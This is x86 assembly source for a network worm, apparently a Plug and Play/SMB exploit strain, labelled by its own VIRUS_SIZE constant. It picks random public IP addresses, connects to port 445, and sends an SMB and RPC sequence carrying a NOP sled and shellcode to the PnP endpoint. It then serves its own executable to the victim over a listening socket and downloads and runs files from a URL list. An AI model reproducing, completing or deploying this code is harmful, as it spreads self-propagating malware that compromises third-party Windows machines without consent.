	sub esp, LOCAL_DATA_SIZE

	cmp DWORD [CONNECTED], 0
	je .Exit_Scan			; disconnected

	mov eax, [OSVERSION]
	or eax, eax
	jns .2

	;only for Win9x
	cmp dword _445OPEN, byte 0

	jle .40
	jmp short .240

.40
	push dword 40 * 1000		;40 sec.
	jmp short .sleep
.240
	push dword 240 * 1000		;4 min. (TIME_WAIT delay)

.sleep
	call Sleep

.2
	cmp byte IP_4, 0xFF
	je  @Net_loop
	jmp @sock_arr

.Exit_Scan
	call ExitThread



@randinit:
	call GetCurrentThreadId
	mul ah
	xchg al, ah
	mul ax
	shl eax, 16
	mov ax, dx
	push eax
	call GetTickCount
	pop ecx
	mul ecx
	rol eax, cl
	mov RAND_SEED, eax
	ret


@sleep:
	push ecx
	push CS_LOOP
	call EnterCriticalSection
		push byte 1
		call Sleep
	push CS_LOOP
	call LeaveCriticalSection
	pop ecx
	ret


@CloseSockArr:
	mov ebx, [esp + 4]	; socket array
	mov ecx, [esp + 8]	; count

.close_loop:

	dec ecx
	push ecx

	push dword [ebx + ecx * 4]
	call closesocket
	call @sleep

	pop ecx
	inc ecx
	loop .close_loop

	ret 8


@PortOpen:		; eax: socket
	push ecx
	push esi

	sub esp, byte 0x10	; 0x10 bytes stack frame
	mov edx, esp
	push byte 0x10
	push esp		; len
	push edx		; sockaddr
	push eax
	call getpeername

	add esp, byte 8
	or eax, eax
	pop eax
	jnz .end

	mov ecx, [dwLocalIPs]
	mov edi, lpLocalIPs
	repne scasd
	je .end

	push esp	;lpThreadId
	push ecx	;dwCreationFlags
	push eax	;lpParameter (IP)
	push @AttackPnP
	push STACK_SIZE
	push ecx
	call CreateThread
	push eax
	call CloseHandle

.end
	call @WaitMaxThreads
	add esp, byte 0x8
	pop esi
	pop ecx
	ret


@rand:
 push ecx
 mov eax, RAND_SEED
 mov cl, al
 rol eax, cl	; rotate left, bits shifted out reenter on the right
 push eax
 push ecx
 call GetTickCount
 mov cl, al
 ror eax, cl
 pop ecx
 rol eax, cl
 pop edx
 add edx, eax		;add some big number
 mov eax, edx
 mov ecx, eax
 mul ecx
 mov cl, al
 rol eax, cl
 xor eax, edx
 mov RAND_SEED, eax	; store random seed

 pop ecx
 xor edx, edx		; zero edx for edx:eax MOD ecx
 div ecx		; divide by ecx, remainder in edx
 xchg eax, edx

 ret


;RETURN:	ebx
;
@GetRandomNet:
	xor ebx, ebx

	push byte 3
	pop ecx

.rnd
	push ecx
	mov cx, 256
	call @rand

	pop ecx
	push ecx
	sub ecx, byte 3
	neg ecx
	imul ecx, byte 8
	shl eax, cl
	pop ecx
	or eax, ebx

	cmp al, 0
	je .rnd
	cmp al, 10
	je .rnd
	cmp al, 127
	je .rnd
	cmp al, 223
	ja .rnd

	cmp al, 172
	jne .b
	cmp ah, 16
	jb .b
	cmp ah, 31
	jbe .rnd
.b
	cmp al, 192
	jne .next
	cmp ah, 168
	je  .rnd

.next:
	or ebx, eax
	loop .rnd
	
	ret
	


;ARG1:	ip address
;
@AttackPnP:
	mov ebp, esp
	sub esp, 8196

_recvbuf	EQU		4100	;[ebp - 4100]
_recvbuf_LEN	EQU		4096
_packet		EQU		8196	;[ebp - 8196]
_packet_LEN	EQU		4096



	call @WaitMaxThreads
	push byte 1
	call @AddThreadNum	;inc THREADNUM
;int3
	xor eax, eax
	push eax
	push eax
	push DWORD [ebp + 4]	;IP address
	push DWORD (2 | ((((445 << 8)&0xFF00) | ((445 >> 8)&0xFF)) << 16) )

	push eax
	push 1
	push 2
	call socket
	xchg ebx, eax

	mov edx, esp
	push 0x10
	push edx
	push ebx
	call connect
	or eax, eax
	jnz NEAR .cs

	push eax
	push SMB_Negotiate_LEN
	push SMB_Negotiate
	push ebx
	call send
	inc eax
	jz NEAR .cs

	lea edi, [ebp - _recvbuf]

	push SMB_RECV_TIMEOUT
	push _recvbuf_LEN
	push edi
	call @arecv
	cmp eax, 10
	jle NEAR .cs
	cmp byte [edi + 9], 0
	jne NEAR .cs

	push 0
	push SMB_SessionSetupAndX_LEN
	push SMB_SessionSetupAndX
	push ebx
	call send
	inc eax
	jz NEAR .cs

	push SMB_RECV_TIMEOUT
	push _recvbuf_LEN
	push edi
	call @arecv
	cmp eax, 10
	jle NEAR .cs

	push 0
	push SMB_SessionSetupAndX2_LEN
	push SMB_SessionSetupAndX2
	push ebx
	call send
	inc eax
	jz NEAR .cs

	push SMB_RECV_TIMEOUT
	push _recvbuf_LEN
	push edi
	call @arecv
	cmp eax, 10
	jle NEAR .cs
	cmp byte [edi + 9], 0
	jne NEAR .cs

	push ebx	;sock

	push byte SMB_TreeConnectAndX_LEN
	lea ebx, [ebp - _packet]
	lea edi, [ebp - _recvbuf]
	push SMB_TreeConnectAndX
	push ebx
	lea ebx, [ebx + SMB_TreeConnectAndX_LEN]
	call memcpy

	push DWORD [ebp + 4]	;IP
	call inet_ntoa
	push eax
	push STR_IPC
	push edi
	call wsprintf

	push edi
	push ebx
	call @convert_name

	xor eax, eax
	cld
	or ecx, -1
	add esp, 24
	repne scasb		;edi = _recvbuf
	not ecx
	lea ecx, [ecx + ecx - 2]
	mov eax, ecx
	add ecx, 9
	AND eax, 0xFFFF
	add ebx, eax

	lea edx, [ebx + SMB_TreeConnectAndX__LEN]
	mov [ebp - _packet + SMB_TreeConnectAndX_LEN - 3], cl

	mov eax, [SMB_TreeConnectAndX_]
	mov [ebx], eax
	mov eax, [SMB_TreeConnectAndX_ + 4]
	mov [ebx + 4], eax

	pop ebx		;sock
	lea eax, [ebp - _packet]
	sub edx, eax
	push 0
	lea eax, [edx - 4]
	push edx
	mov [ebp - _packet + 3], al
	lea eax, [ebp - _packet]
	push eax

	push ebx
	call send
	inc eax
	jz NEAR .cs


	lea edi, [ebp - _recvbuf]

	push SMB_RECV_TIMEOUT
	push _recvbuf_LEN
	push edi
	call @arecv
	cmp eax, 10
	jle NEAR .cs
	cmp byte [edi + 9], 0
	jne NEAR .cs
		
	push 0
	push SMB_PipeRequest_browser_LEN
	push SMB_PipeRequest_browser
	push ebx
	call send
	inc eax
	jz NEAR .cs

	push SMB_RECV_TIMEOUT
	push _recvbuf_LEN
	push edi
	call @arecv
	cmp eax, 10
	jle NEAR .cs
	cmp byte [edi + 9], 0
	jne NEAR .cs

	push 0
	push SMB_PNPEndpoint_LEN
	push SMB_PNPEndpoint
	push ebx
	call send
	inc eax
	jz NEAR .cs

	push SMB_RECV_TIMEOUT
	push _recvbuf_LEN
	push edi
	call @arecv
	cmp eax, 10
	jle NEAR .cs
	cmp byte [edi + 9], 0
	jne NEAR .cs

;int3
	mov eax, 0x90909090
	mov ecx, (_packet_LEN/4)
	lea edi, [ebp - _packet]
	push edi
	rep stosd
	pop edi

	push RPC_call_LEN
	push RPC_call
	push edi
	call memcpy

	lea edi, [ebp - _packet + RPC_call_LEN]
	push shellcode_LEN
	push shellcode
	push edi
	call memcpy

	push RPC_call_end_LEN
	push RPC_call_end
	lea esi, [ebp - _packet + 2196 - RPC_call_end_LEN]
	push esi
	call memcpy
	add esp, 36

	push 0		;send
	push 2196	;``	``
	lea edi, [ebp - _packet]
	push edi 	;``	``
	push ebx	;``	``
	call send


	push SMB_RECV_TIMEOUT
	push _recvbuf_LEN
	lea eax, [ebp - _recvbuf]
	push eax
	call @arecv

.cs
	push ebx
	call closesocket

.exit
	push byte -1
	call @AddThreadNum	;dec THREADNUM

	push byte 0
	call ExitThread



;ARGS:	ebx = socket
;ARG1:	buffer
;ARG2:	length
;ARG3:	seconds timeout
; RETURN: bytes received
;
@arecv:
	push ebp
	mov ebp, esp

	sub esp, 260
	push ebx	;fd_array[0]
	push 1		;fd_count
	mov edx, esp

	xor eax, eax
	push eax
	push DWORD [ebp + 0x10]		;seconds timeout

	push esp			;struct timeval
	push eax
	push eax
	push edx
	push eax
	call select
	or eax, eax
	jle .end

	push 0
	push DWORD [ebp + 0xC]
	push DWORD [ebp + 0x8]
	push ebx
	call recv

.end
	leave
	ret 0xC


;ARG1:	output buffer
;ARG2:	input buffer
;
@convert_name:

	push ebp
	mov ebp, esp
	push ebx
	push edi

	cld
	or ecx, -1
	mov ebx, [ebp + 0xC]	;input buffer
	mov edi, ebx
	xor eax, eax
	repne scasb

	not ecx
	lea eax, [ecx + ecx - 2]
	sub ecx, 2
	add eax, [ebp + 8]	;output buffer
	lea edx, [eax - 1]

.1
	cmp ecx, -1
	je .end

	mov byte [edx], 0
	dec edx
	movzx eax, byte [ecx + ebx]
	dec ecx
	mov byte [edx], al
	dec edx

	jmp short .1

.end
	pop edi
	pop ebx
	leave
	ret 8


;ARGS: 1 inc	-1 dec
;Registers used: ALL
;
@AddThreadNum:
	pop eax		;RET/clean stack
	pop ebx
	push eax

	push CS_THREADNUM
	call EnterCriticalSection

		add dword [THREADNUM], ebx	;THREADNUM

	push CS_THREADNUM
	call LeaveCriticalSection
	ret


@WaitMaxThreads:
.loop1
	cmp dword [THREADNUM], MAX_THREADS
	jle .end
	push dword TIMEOUT
	call Sleep

	jmp short .loop1
.end
	ret


;ARG1:	client socket
@ServerThread:
	mov ebp, esp

	mov ebx, [ebp + 4]	;client socket
	push ebx

	push 0
	push DWORD [dwFileSize]
	push DWORD [dwFilePointer]
	push ebx
	call send

	call closesocket

	push 0
	call ExitThread



@FileServer:
	mov ebp, esp
;int3
	xor eax, eax
	push eax
	push eax
	push OPEN_EXISTING
	push eax
	push FILE_SHARE_READ
	push GENERIC_READ
	mov esi, szFileName
	push esi

	push dwFileNameLen
	push esi
	push eax
	call GetModuleFileName

	call CreateFile
	mov esi, eax
	inc eax
	jz .sock1

	xor eax, eax
	push eax		;MapViewOfFile
	push eax		;``	``
	push eax		;``	``

	push eax		;CreateFileMapping

	push eax
	push esi
	call GetFileSize
	mov [dwFileSize], eax

	push eax
	push 0
	push PAGE_READONLY
	push 0
	push esi
	call CreateFileMapping

	push FILE_MAP_READ
	push eax
	call MapViewOfFile

	mov [dwFilePointer], eax


.sock1
	xor eax, eax
	push eax
	push eax
	push eax
	push 2

	push eax
	push 1
	push 2
	call socket
	xchg ebx, eax

	mov edx, esp

	push 0x10
	push edx
	push ebx
	call bind

	mov edx, esp
	push 0x10

	push esp
	push edx
	push ebx
	call getsockname
	pop edx
	pop edx
	shr edx, 16


;SHELLCODE PORT
	xor dx, SHELLCODE_XORPORT
	mov WORD [shellcode + SHELLCODE_PORT], dx

	push SOMAXCONN
	push ebx
	call listen

.acceptLoop
	push 1
	call Sleep

	push 0
	push 0
	push ebx
	call accept
	cmp eax, -1
	je .acceptLoop

	xor ecx, ecx
	push esp
	push ecx
	push eax		;client socket
	push @ServerThread
	push ecx
	push ecx
	call CreateThread
	push eax
	call CloseHandle

	jmp short .acceptLoop		;infinite loop
	call ExitThread



;ARGS:		edi = url
;RETURN:	ebx = filename saved
;
@GetUrl:
	push ebp
	mov ebp, esp
	push edi	;[ebp - 4]
	xor ecx, ecx
	push ecx	;[ebp - 8]
	push ecx	;[ebp - 0xC]

%define		DL_FILENAME	[ebp - 8]
%define		HTTP_NEWLINE	[ebp - 0xC]

	mov al, '/'
	dec ecx
	cld
	repne scasb
	not ecx
	sub esp, ecx
	AND esp, 0xfffffff0

	dec ecx
	mov esi, [ebp - 4]
	mov edi, esp
	rep movsb
	mov BYTE [edi], cl


	push esp	;host
	push esi	;url
	push HTTP_FMT	;'GET %s HTTP/1.1\r\nHost: %s\r\n\r\n'
	push HTTP_BUFFER
	call wsprintf
	add esp, 16


	push esp
	call gethostbyname

	or eax, eax
	jz .end
	mov esi, [eax + 12]
	lodsd
	or eax, eax
	jz .end
	mov edx, [eax]

	xor eax, eax
	push eax
	push eax
	push edx
	push DWORD (2 | ((((80 << 8) & 0xFF00) | ((80 >> 8) & 0xFF)) << 16) )

	push eax
	push 1
	push 2
	call socket
	xchg ebx, eax

	mov edx, esp
	push 0x10
	push edx
	push ebx
	call connect
	or eax, eax
	jnz .cs

	mov edi, [ebp - 4]
	push edi
	call lstrlen
	add edi, eax
	std
	mov al, '/'
	or ecx, -1
	repne scasb
	cld
	inc edi
	inc edi
	mov DL_FILENAME, edi

	xor eax, eax
	push eax
	push eax
	push CREATE_ALWAYS
	push eax
	push FILE_SHARE_READ
	push GENERIC_WRITE
	push edi
	call CreateFile
	mov esi, eax
	inc eax
	jz .cs

	push 0
	mov edi, HTTP_BUFFER
	push edi
	call lstrlen
	push eax
	push edi
	push ebx
	call send


.recvLoop
	mov edi, HTTP_BUFFER
	push 60
	push HTTP_BUFFER_LEN
	push edi
	call @arecv
	or eax, eax
	jle .recvEnd

	cmp BYTE HTTP_NEWLINE, 0
	jne .write

.1
	mov ecx, 0x0A0D0A0D
	cmp [edi], ecx
	je .2

	dec eax
	cmp eax, 3
	jle .recvLoop

	inc edi
	jmp short .1
.2
	add edi, 4
	sub eax, 4
	inc BYTE HTTP_NEWLINE

.write
	push 0
	push esp
	push eax
	push edi
	push esi
	call WriteFile
	jmp short .recvLoop

.recvEnd
	push esi
	call CloseHandle

.cs
	push ebx
	call closesocket


.end
	mov ebx, DL_FILENAME
	leave
	ret


@Download:
	push ebp
	mov ebp, esp

	mov edi, URLS

.nextUrl
	cmp byte [edi], 0
	je .end

	push edi
	call @GetUrl

	pop edi
	xor eax, eax
	or ecx, -1
	cld
	repne scasb

	mov al, FL_EXECUTE_URL
	scasb
	jne .nextUrl

	or ebx, ebx
	jz .nextUrl

;execute file
	lea esp, [ebp - 0x54]
	push esp

	mov esi, edi
	lea edi, [ebp - 0x44]

	push edi
	push byte 0x44
	pop ecx
	mov [edi], ecx
	inc edi
	xor eax, eax
	rep stosb

	mov cl, 7
.push0
	push eax
	loop .push0

	push ebx
	call CreateProcess
	call CloseHandle
	call CloseHandle

	mov edi, esi
	jmp short .nextUrl


.end
	leave
	ret


%include		"CBack.asm"



VIRUS_SIZE		EQU			($- _entry)